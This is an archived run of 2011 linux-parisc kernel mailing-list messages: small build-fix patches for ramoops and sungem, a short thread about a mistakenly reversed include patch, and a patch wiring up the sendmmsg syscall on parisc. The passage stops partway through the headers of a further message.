List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3888 gmane.linux.kernel:1173184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3888>

drivers/char/ramoops.c: In function 'ramoops_init':
drivers/char/ramoops.c:221: error: implicit declaration of function 'IS_ERR'
drivers/char/ramoops.c:222: error: implicit declaration of function 'PTR_ERR'

If it actually builds on other platforms, it's probably getting
linux/err.h via some other #include.

Signed-off-by: James Bottomley <JBottomley@Parallels.com>

---

diff --git a/drivers/char/ramoops.c b/drivers/char/ramoops.c
index bd9b94b..fca0c51 100644
--- a/drivers/char/ramoops.c
+++ b/drivers/char/ramoops.c
@@ -22,6 +22,7 @@
 #define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
 
 #include <linux/kernel.h>
+#include <linux/err.h>
 #include <linux/module.h>
 #include <linux/kmsg_dump.h>
 #include <linux/time.h>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: sungem: fix compile failure caused by trivial #include
 consolidation
Date: Fri, 29 Jul 2011 18:08:44 +0400
Lines: 67
Approved: news@gmane.org
Message-ID: <1311948524.8190.39.camel@mulgrave>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311948537 2777 80.91.229.12 (29 Jul 2011 14:08:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 14:08:57 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: David Miller <davem@davemloft.net>,
	Vitaliy Ivanov <vitalivanov@gmail.com>,
	Jiri Kosina <jkosina@suse.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 29 16:08:52 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QmnkB-0005LJ-28
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jul 2011 16:08:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751374Ab1G2OIt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jul 2011 10:08:49 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59779 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750776Ab1G2OIt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jul 2011 10:08:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B27298EE0DA;
	Fri, 29 Jul 2011 07:08:48 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Pr7mReplCYhy; Fri, 29 Jul 2011 07:08:48 -0700 (PDT)
Original-Received: from [10.30.19.253] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2BC278EE08E;
	Fri, 29 Jul 2011 07:08:46 -0700 (PDT)
X-Mailer: Evolution 2.32.2 (2.32.2-1.fc14) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3889 gmane.linux.kernel:1173206
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3889>

This patch:

commit e44ba033c5654dbfda53461c9b1f7dd9bd1d198f
Author: Vitaliy Ivanov <vitalivanov@gmail.com>
Date:   Mon Jun 20 16:08:07 2011 +0200

    treewide: remove duplicate includes

Causes this compile failure on parisc:

  CC [M]  drivers/net/sungem.o
drivers/net/sungem.c:49:22: error: asm/prom.h: No such file or directory
make[2]: *** [drivers/net/sungem.o] Error 1

Only Sparc and PPC actually have the asm/prom.h include, so you can't
consolidate it outside of the ifdefs.

Signed-off-by: James Bottomley <JBottomley@Parallels.com>

---

This really shouldn't be happening with a trivial patch, since it's an
obviously non-trivial transformation ... I assume the duplicate include
checker isn't taking #ifdefs into account?

James

commit e44ba033c5654dbfda53461c9b1f7dd9bd1d198f
Author: Vitaliy Ivanov <vitalivanov@gmail.com>
Date:   Mon Jun 20 16:08:07 2011 +0200

    treewide: remove duplicate includes
    
    Many stupid corrections of duplicated includes based on the output of
    scripts/checkincludes.pl.
    
    Signed-off-by: Vitaliy Ivanov <vitalivanov@gmail.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>

diff --git a/drivers/net/sungem.c b/drivers/net/sungem.c
index ab59300..70f018d 100644
--- a/drivers/net/sungem.c
+++ b/drivers/net/sungem.c
@@ -66,15 +66,14 @@
 #include <asm/byteorder.h>
 #include <asm/uaccess.h>
 #include <asm/irq.h>
+#include <asm/prom.h>
 
 #ifdef CONFIG_SPARC
 #include <asm/idprom.h>
-#include <asm/prom.h>
 #endif
 
 #ifdef CONFIG_PPC_PMAC
 #include <asm/pci-bridge.h>
-#include <asm/prom.h>
 #include <asm/machdep.h>
 #include <asm/pmac_feature.h>
 #endif


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: sungem: fix compile failure caused by trivial #include
 consolidation
Date: Fri, 29 Jul 2011 16:11:54 +0200 (CEST)
Lines: 41
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1107291611030.7300@pobox.suse.cz>
References: <1311948524.8190.39.camel@mulgrave>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1311948723 4099 80.91.229.12 (29 Jul 2011 14:12:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 14:12:03 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>,
	Vitaliy Ivanov <vitalivanov@gmail.com>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 29 16:11:58 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QmnnC-0007OS-85
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jul 2011 16:11:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750844Ab1G2OL5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jul 2011 10:11:57 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:38223 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750746Ab1G2OL4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jul 2011 10:11:56 -0400
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 0EEAE8D167;
	Fri, 29 Jul 2011 16:11:55 +0200 (CEST)
In-Reply-To: <1311948524.8190.39.camel@mulgrave>
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3890 gmane.linux.kernel:1173208
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3890>

On Fri, 29 Jul 2011, James Bottomley wrote:

> This patch:
> 
> commit e44ba033c5654dbfda53461c9b1f7dd9bd1d198f
> Author: Vitaliy Ivanov <vitalivanov@gmail.com>
> Date:   Mon Jun 20 16:08:07 2011 +0200
> 
>     treewide: remove duplicate includes
> 
> Causes this compile failure on parisc:
> 
>   CC [M]  drivers/net/sungem.o
> drivers/net/sungem.c:49:22: error: asm/prom.h: No such file or directory
> make[2]: *** [drivers/net/sungem.o] Error 1
> 
> Only Sparc and PPC actually have the asm/prom.h include, so you can't
> consolidate it outside of the ifdefs.
> 
> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> 
> ---
> 
> This really shouldn't be happening with a trivial patch, since it's an
> obviously non-trivial transformation ... I assume the duplicate include
> checker isn't taking #ifdefs into account?

Ah, right. I am afraid this was simply overlooked. David, do you want me 
to take this, or will you fix that up in your tree? (I am fine either 
way).

Thanks,

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: sungem: fix compile failure caused by trivial #include
 consolidation
Date: Fri, 29 Jul 2011 07:17:10 -0700 (PDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <20110729.071710.1864654661956416171.davem@davemloft.net>
References: <1311948524.8190.39.camel@mulgrave>
	<alpine.LNX.2.00.1107291611030.7300@pobox.suse.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311949094 6478 80.91.229.12 (29 Jul 2011 14:18:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 14:18:14 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, vitalivanov@gmail.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jkosina@suse.cz
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 29 16:18:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QmntB-00029p-0g
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jul 2011 16:18:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750756Ab1G2OSI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jul 2011 10:18:08 -0400
Original-Received: from shards.monkeyblade.net ([198.137.202.13]:35842 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750840Ab1G2OSH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jul 2011 10:18:07 -0400
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(authenticated bits=0)
	by shards.monkeyblade.net (8.14.4/8.14.4) with ESMTP id p6TEHAnL017457
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 29 Jul 2011 07:17:12 -0700
In-Reply-To: <alpine.LNX.2.00.1107291611030.7300@pobox.suse.cz>
X-Mailer: Mew version 6.3 on Emacs 23.2 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.6 (shards.monkeyblade.net [198.137.202.13]); Fri, 29 Jul 2011 07:17:12 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3891 gmane.linux.kernel:1173209
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3891>

From: Jiri Kosina <jkosina@suse.cz>
Date: Fri, 29 Jul 2011 16:11:54 +0200 (CEST)

> On Fri, 29 Jul 2011, James Bottomley wrote:
> 
>> This patch:
>> 
>> commit e44ba033c5654dbfda53461c9b1f7dd9bd1d198f
>> Author: Vitaliy Ivanov <vitalivanov@gmail.com>
>> Date:   Mon Jun 20 16:08:07 2011 +0200
>> 
>>     treewide: remove duplicate includes
>> 
>> Causes this compile failure on parisc:
>> 
>>   CC [M]  drivers/net/sungem.o
>> drivers/net/sungem.c:49:22: error: asm/prom.h: No such file or directory
>> make[2]: *** [drivers/net/sungem.o] Error 1
>> 
>> Only Sparc and PPC actually have the asm/prom.h include, so you can't
>> consolidate it outside of the ifdefs.
>> 
>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>> 
>> ---
>> 
>> This really shouldn't be happening with a trivial patch, since it's an
>> obviously non-trivial transformation ... I assume the duplicate include
>> checker isn't taking #ifdefs into account?
> 
> Ah, right. I am afraid this was simply overlooked. David, do you want me 
> to take this, or will you fix that up in your tree? (I am fine either 
> way).

Take what, although James signed off he seemd to simply repost your
patch again rather than a fix, unless I'm reading it wrong :-)

But yeah once there is a fix please push it.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: sungem: fix compile failure caused by trivial #include
 consolidation
Date: Fri, 29 Jul 2011 16:22:29 +0200 (CEST)
Lines: 52
Approved: news@gmane.org
Message-ID: <alpine.LNX.2.00.1107291620400.7300@pobox.suse.cz>
References: <1311948524.8190.39.camel@mulgrave> <alpine.LNX.2.00.1107291611030.7300@pobox.suse.cz> <20110729.071710.1864654661956416171.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1311949357 8099 80.91.229.12 (29 Jul 2011 14:22:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 14:22:37 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, vitalivanov@gmail.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 29 16:22:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QmnxQ-0003pj-DF
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jul 2011 16:22:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750946Ab1G2OWb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jul 2011 10:22:31 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:38872 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750859Ab1G2OWb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jul 2011 10:22:31 -0400
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id 720E18D40D;
	Fri, 29 Jul 2011 16:22:30 +0200 (CEST)
In-Reply-To: <20110729.071710.1864654661956416171.davem@davemloft.net>
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3892 gmane.linux.kernel:1173211
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3892>

On Fri, 29 Jul 2011, David Miller wrote:

> >> This patch:
> >> 
> >> commit e44ba033c5654dbfda53461c9b1f7dd9bd1d198f
> >> Author: Vitaliy Ivanov <vitalivanov@gmail.com>
> >> Date:   Mon Jun 20 16:08:07 2011 +0200
> >> 
> >>     treewide: remove duplicate includes
> >> 
> >> Causes this compile failure on parisc:
> >> 
> >>   CC [M]  drivers/net/sungem.o
> >> drivers/net/sungem.c:49:22: error: asm/prom.h: No such file or directory
> >> make[2]: *** [drivers/net/sungem.o] Error 1
> >> 
> >> Only Sparc and PPC actually have the asm/prom.h include, so you can't
> >> consolidate it outside of the ifdefs.
> >> 
> >> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> >> 
> >> ---
> >> 
> >> This really shouldn't be happening with a trivial patch, since it's an
> >> obviously non-trivial transformation ... I assume the duplicate include
> >> checker isn't taking #ifdefs into account?
> > 
> > Ah, right. I am afraid this was simply overlooked. David, do you want me 
> > to take this, or will you fix that up in your tree? (I am fine either 
> > way).
> 
> Take what, although James signed off he seemd to simply repost your
> patch again rather than a fix, unless I'm reading it wrong :-)

Well yes, I think that James wanted to actually send a revert of that 
patch (as otherwise he wouldn't Sign-off on it) instead, right James? :)

> But yeah once there is a fix please push it.

So I'll revert that hunk with James' Reported-by, if there are no 
objections.

Thanks,

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: sungem: fix compile failure caused by trivial #include
 consolidation
Date: Fri, 29 Jul 2011 18:22:37 +0400
Lines: 50
Approved: news@gmane.org
Message-ID: <1311949357.8190.40.camel@mulgrave>
References: <1311948524.8190.39.camel@mulgrave>
	 <alpine.LNX.2.00.1107291611030.7300@pobox.suse.cz>
	 <20110729.071710.1864654661956416171.davem@davemloft.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311949392 8299 80.91.229.12 (29 Jul 2011 14:23:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 14:23:12 +0000 (UTC)
Cc: jkosina@suse.cz, vitalivanov@gmail.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jul 29 16:23:02 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Qmnxt-0004cS-9c
	for glk-linux-kernel-3@lo.gmane.org; Fri, 29 Jul 2011 16:23:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751319Ab1G2OWo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 29 Jul 2011 10:22:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56255 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750867Ab1G2OWn (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 29 Jul 2011 10:22:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DB7578EE08E;
	Fri, 29 Jul 2011 07:22:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hy38WIlAZTBu; Fri, 29 Jul 2011 07:22:42 -0700 (PDT)
Original-Received: from [10.30.19.253] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2754C8EE0DA;
	Fri, 29 Jul 2011 07:22:40 -0700 (PDT)
In-Reply-To: <20110729.071710.1864654661956416171.davem@davemloft.net>
X-Mailer: Evolution 2.32.2 (2.32.2-1.fc14) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1173212 gmane.linux.ports.parisc:3893
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1173212>

On Fri, 2011-07-29 at 07:17 -0700, David Miller wrote:
> From: Jiri Kosina <jkosina@suse.cz>
> Date: Fri, 29 Jul 2011 16:11:54 +0200 (CEST)
> 
> > On Fri, 29 Jul 2011, James Bottomley wrote:
> > 
> >> This patch:
> >> 
> >> commit e44ba033c5654dbfda53461c9b1f7dd9bd1d198f
> >> Author: Vitaliy Ivanov <vitalivanov@gmail.com>
> >> Date:   Mon Jun 20 16:08:07 2011 +0200
> >> 
> >>     treewide: remove duplicate includes
> >> 
> >> Causes this compile failure on parisc:
> >> 
> >>   CC [M]  drivers/net/sungem.o
> >> drivers/net/sungem.c:49:22: error: asm/prom.h: No such file or directory
> >> make[2]: *** [drivers/net/sungem.o] Error 1
> >> 
> >> Only Sparc and PPC actually have the asm/prom.h include, so you can't
> >> consolidate it outside of the ifdefs.
> >> 
> >> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> >> 
> >> ---
> >> 
> >> This really shouldn't be happening with a trivial patch, since it's an
> >> obviously non-trivial transformation ... I assume the duplicate include
> >> checker isn't taking #ifdefs into account?
> > 
> > Ah, right. I am afraid this was simply overlooked. David, do you want me 
> > to take this, or will you fix that up in your tree? (I am fine either 
> > way).
> 
> Take what, although James signed off he seemd to simply repost your
> patch again rather than a fix, unless I'm reading it wrong :-)

Oh, yes ... I applied it with patch -R, since I was finding the bit to
revert. Sorry,

James

> But yeah once there is a fix please push it.
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html



From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] wire up sysmmsg syscall
Date: Fri, 29 Jul 2011 18:37:02 +0400
Lines: 39
Approved: news@gmane.org
Message-ID: <1311950222.8190.43.camel@mulgrave>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1311950232 13695 80.91.229.12 (29 Jul 2011 14:37:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 29 Jul 2011 14:37:12 +0000 (UTC)
To: Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 29 16:37:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QmoBY-0003fF-51
	for glpp-linux-parisc@lo.gmane.org; Fri, 29 Jul 2011 16:37:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751568Ab1G2OhH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 Jul 2011 10:37:07 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40133 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751563Ab1G2OhG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 Jul 2011 10:37:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id A95C38EE0DA
	for <linux-parisc@vger.kernel.org>; Fri, 29 Jul 2011 07:37:05 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id QPDIpieJRIly for <linux-parisc@vger.kernel.org>;
	Fri, 29 Jul 2011 07:37:05 -0700 (PDT)
Original-Received: from [10.30.19.253] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id EF9168EE08E
	for <linux-parisc@vger.kernel.org>; Fri, 29 Jul 2011 07:37:04 -0700 (PDT)
X-Mailer: Evolution 2.32.2 (2.32.2-1.fc14) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3894
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3894>

Signed-off-by: James Bottomley <JBottomley@Parallels.com>

---

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3392de3..276df1c 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -821,8 +821,10 @@
 #define __NR_open_by_handle_at	(__NR_Linux + 326)
 #define __NR_syncfs		(__NR_Linux + 327)
 #define __NR_setns		(__NR_Linux + 328)
+#define __NR_setns		(__NR_Linux + 328)
+#define __NR_sendmmsg		(__NR_Linux + 329)
 
-#define __NR_Linux_syscalls	(__NR_setns + 1)
+#define __NR_Linux_syscalls	(__NR_sendmmsg + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 34a4f5a..e66366f 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -427,6 +427,7 @@
 	ENTRY_COMP(open_by_handle_at)
 	ENTRY_SAME(syncfs)
 	ENTRY_SAME(setns)
+	ENTRY_COMP(sendmmsg)
 
 	/* Nothing yet */
 


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Spinlock lockup in __down_write_nested
Date: Sun, 31 Jul 2011 16:41:52 -0400
Lines: 2244
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4062B34363BD99EE4BB83997390@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-4-977747550"
X-Trace: dough.gmane.org 1312144940 25047 80.91.229.12 (31 Jul 2011 20:42:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 31 Jul 2011 20:42:20 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 31 22:42:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
